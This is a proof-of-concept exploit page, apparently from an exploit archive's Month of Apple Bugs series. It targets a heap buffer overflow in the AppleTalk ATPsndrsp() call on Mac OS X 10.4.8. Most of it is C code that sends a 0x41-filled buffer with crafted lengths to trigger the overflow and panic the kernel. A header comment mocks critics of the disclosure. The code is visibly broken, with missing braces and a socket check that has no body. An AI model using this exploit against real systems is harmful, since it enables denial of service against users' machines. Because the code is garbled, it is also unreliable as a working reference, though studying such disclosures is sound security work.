Apple Mac OSX 10.4.8 - AppleTalk 'ATPsndrsp()' Heap Buffer Overflow (PoC)











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/* proof of concept for moab-14-01-2007
 * Copyright (c) 2006, LMH <lmh [at]>
 * Shout outs to: icer, kf, ilja, hd, et al.
 * free feedback samples for public consumption:
 * "the panic() function takes a string for the reason the panic
 * occurred. As you can see from the above, the reason us due to the
 * fact the buffer size is absurd. The system caught this absurdity and
 * handled it by calling panic().
 * In other words, not capable of executing arbitrary code."
 * -- Rosyna Keller, talking about allocbuf() failing due to allocation
 * of a negative size buffer, caused by a simple integer overflow.
 * ">LMH claims #10 leads to "potential arbitrary code execution." That's
 * >not good enough where I come from. Either the arbitrary code executes,
 * >or it doesn't. I may be talking thru my elbow, but I suggest the
 * >absence of a working example of "arbitrary code execution" is that we
 * >have caused a kernel panic, and stack based execution ceases."
 * -- dinornis, stack based haxor in training.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>
#include <netat/appletalk.h>

int main(int argc, char **argv) {
        int fd, retv, i;
		unsigned int a, b;
		char *powder;

        if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0)
		powder = malloc(6000);
		memset(powder, 0x41, 5999);

		for (i=0; i < 7000; i++) {
			a = strlen(powder) - i;
			b = i;
			printf("powder@%p a=%u b=%u\n", powder, a, b);
			retv = ATPsndrsp(fd, (unsigned char *)powder, a, b);
		free(powder); // won't reach this unless appletalk is disabled
		return 0;

// [2007-01-14]